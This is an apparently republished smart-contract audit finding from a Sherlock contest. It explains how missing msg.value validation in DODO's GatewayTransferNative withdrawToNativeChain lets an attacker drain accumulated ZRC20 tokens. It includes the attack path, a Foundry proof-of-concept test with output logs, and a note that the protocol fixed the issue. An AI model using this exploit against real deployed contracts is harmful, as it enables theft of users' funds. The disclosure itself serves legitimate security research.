Skip to content
Business logic Audit finding Intermediate

Any attacker will steal accumulated ZRC20 tokens from `GatewayTransferNative` contract

The withdrawToNativeChain function lacks validation of msg.value when the token address is the native token placeholder, allowing an attacker to claim arbitrary amounts without sending native tokens. By crafting a message that points to a real ZRC20 token, the attacker can drain accumulated ZRC20 tokens from the contract.

0xEkko Follow with 10ap17, Pianist and 5 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/219

Found by

0xEkko, 10ap17, Pianist, SafetyBytes, X0sauce, farismaulana, radevweb3, theboiledcorn

Summary

Missing msg.value validation for native token withdrawals will cause a complete loss of accumulated ZRC20 tokens for the protocol as attackers will abuse the native token placeholder to bypass transferFrom validation while targeting real ZRC20 contracts through malicious message crafting.

Root Cause

In GatewayTransferNative.sol:534-537 there is missing validation of msg.value against the claimed amount parameter when zrc20 equals _ETH_ADDRESS_ , allowing users to claim arbitrary native token amounts without actually sending them.

Solidity
function withdrawToNativeChain(
    address zrc20,
    uint256 amount,
    bytes calldata message
) external payable {
    if(zrc20 != _ETH_ADDRESS_) {
        require(IZRC20(zrc20).transferFrom(msg.sender, address(this), amount), "INSUFFICIENT ALLOWANCE: TRANSFER FROM FAILED");
    } 
    // ← Missing: require(msg.value >= amount, "INSUFFICIENT NATIVE TOKEN");
}

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

  1. Attacker identifies accumulated ZRC20 tokens in the GatewayTransferNative contract (e.g., 1000 USDC.ZRC20)
  2. Attacker crafts a malicious message where decoded.targetZRC20 points to the real USDC.ZRC20 contract address
  3. Attacker calls withdrawToNativeChain{value: 0}(_ETH_ADDRESS_, 1000e6, maliciousMessage)
  4. Function bypasses transferFrom validation due to zrc20 == ETH_ADDRESS condition
  5. Function processes withdrawal using the claimed amount (1000 USDC) from contract's accumulated balance
  6. Function calls withdrawGasFeeWithGasLimit on real USDC.ZRC20 contract (avoids revert)
  7. Cross-chain withdrawal executes successfully, sending 1000 native USDC to attacker's destination address
  8. Contract's accumulated USDC.ZRC20 tokens are burned/depleted while attacker receives native USDC

Impact

The protocol suffers a complete loss of all accumulated ZRC20 tokens that can be targeted through message crafting. The attacker gains the full value of stolen tokens with only gas fees as cost, achieving near-infinite profit margins on successful attacks.

PoC

Add this test to GatewayTransferNative.t.sol and run:

Bash
forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public --match-test test_withdraw_native_Vulnerability -vv
Solidity
   function test_withdraw_native_Vulnerability() public {
        uint256 stolenAmount = 100 ether;   // Amount to steal from contract
        uint256 actualZETASent = 0;         // User sends 0 ZETA
        uint32 dstChainId = 2;
        
        // ATTACK: Use _ETH_ADDRESS_ to bypass transferFrom, but target real ZRC20 in message
        address inputToken = _ETH_ADDRESS_;        // ← Bypass transferFrom validation
        address targetZRC20 = address(token1Z);    // ← Real ZRC20 in decoded message
        
        bytes memory sender = abi.encodePacked(user1);
        bytes memory receiver = abi.encodePacked(user2);
        bytes memory swapDataZ = "";
        bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
        bytes memory fromTokenB = abi.encodePacked(address(token1B));
        bytes memory toTokenB = abi.encodePacked(address(token1B));
        bytes memory swapDataB = "";
        bytes memory accounts = "";
        
        // MALICIOUS MESSAGE: Points to real ZRC20 token to avoid revert
        bytes memory maliciousMessage = encodeMessage(
            dstChainId,
            targetZRC20,      // ← Real token1Z address (not _ETH_ADDRESS_)
            sender,
            receiver,
            swapDataZ,
            contractAddress,
            abi.encodePacked(
                fromTokenB, 
                toTokenB, 
                swapDataB
            ),
            accounts
        );

        // Setup: Contract has accumulated token1Z from previous operations
        token1Z.mint(address(gatewayTransferNative), stolenAmount);
        
        // Record initial balances
        uint256 user1InitialZETA = user1.balance;
        uint256 user2InitialTokens = token1B.balanceOf(user2);
        uint256 contractInitialTokens = token1Z.balanceOf(address(gatewayTransferNative));
        
        console.log("BEFORE ATTACK:");
        console.log("User1 ZETA balance:", user1InitialZETA / 1e18);
        console.log("Contract token1Z balance:", contractInitialTokens / 1e18);
        console.log("User2 token1B balance:", user2InitialTokens / 1e18);
        console.log("");
        
        vm.startPrank(user1);
        // ATTACK: Use native token placeholder to bypass validation
        gatewayTransferNative.withdrawToNativeChain{value: actualZETASent}(
            inputToken,         // _ETH_ADDRESS_ bypasses transferFrom 
            stolenAmount,       // Claims 100 token1Z
            maliciousMessage    // Decodes to real token1Z to avoid revert
        );
        vm.stopPrank();

        // Verify successful attack
        uint256 user1FinalZETA = user1.balance;
        uint256 user2FinalTokens = token1B.balanceOf(user2);
        uint256 contractFinalTokens = token1Z.balanceOf(address(gatewayTransferNative));
        
        console.log("AFTER ATTACK:");
        console.log("User1 ZETA balance:", user1FinalZETA / 1e18);
        console.log("Contract token1Z balance:", contractFinalTokens / 1e18);
        console.log("User2 token1B balance:", user2FinalTokens / 1e18);
        console.log("");
        
        // Attack success verification
        assertEq(user1FinalZETA, user1InitialZETA - actualZETASent, "User should only lose sent ZETA");
        assertGt(user2FinalTokens, user2InitialTokens, "User2 should receive stolen tokens");
        assertLt(contractFinalTokens, contractInitialTokens, "Contract should lose tokens");
        
        uint256 tokensStolen = contractInitialTokens - contractFinalTokens;
        uint256 tokensReceived = user2FinalTokens - user2InitialTokens;
        
        console.log("Tokens stolen from contract:", tokensStolen / 1e18);
        console.log("Tokens received by User2:", tokensReceived / 1e18);
        
        // Should have stolen significant amount
        assertGt(tokensStolen, 90 ether, "Should steal most of the claimed amount");
    }
Solidity
Logs:
  BEFORE ATTACK:
  User1 ZETA balance: 1000
  Contract token1Z balance: 100
  User2 token1B balance: 0
  
  AFTER ATTACK:
  User1 ZETA balance: 1000
  Contract token1Z balance: 1
  User2 token1B balance: 99
  
  Tokens stolen from contract: 99
  Tokens received by User2: 99

Mitigation

Add proper validation for native token amounts in the withdrawToNativeChain function

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Skyewwww/omni-chain-contracts/pull/32

The original report as published on Sherlock, by 0xEkko. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the function fails to verify that the native token value sent (msg.value) is at least the claimed amount when the token address is the native token placeholder.

Impact

The protocol could lose all accumulated ZRC20 tokens that can be targeted through message crafting, with the attacker gaining the full value at only gas cost.

What the attacker needed

Contract holds accumulated ZRC20 tokens; Attacker can call withdrawToNativeChain

The fix

The protocol team fixed this issue by adding proper validation for native token amounts in the withdrawToNativeChain function.

How it was found

  1. Attacker identifies accumulated ZRC20 tokens in the GatewayTransferNative contract.
  2. Attacker crafts a malicious message where decoded.targetZRC20 points to the real ZRC20 contract address.
  3. Attacker calls withdrawToNativeChain with value 0, using the native token placeholder as the input token and the claimed amount.
  4. The function bypasses transferFrom validation because the input token is the native token placeholder.
  5. The function processes the withdrawal using the claimed amount from the contract's accumulated balance.
  6. The cross-chain withdrawal executes, sending tokens to the attacker's destination address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This smart contract lets users withdraw tokens across chains. When the token is the native token (like ETH), the contract does not check that the user actually sent that amount of native token. An attacker can pretend to withdraw a large amount of native token but send zero, and then use a crafted message to make the contract give them real tokens it holds.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xEkko

View all

10 more disclosed reports, best first.

More from DODO Cross-Chain DEX

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.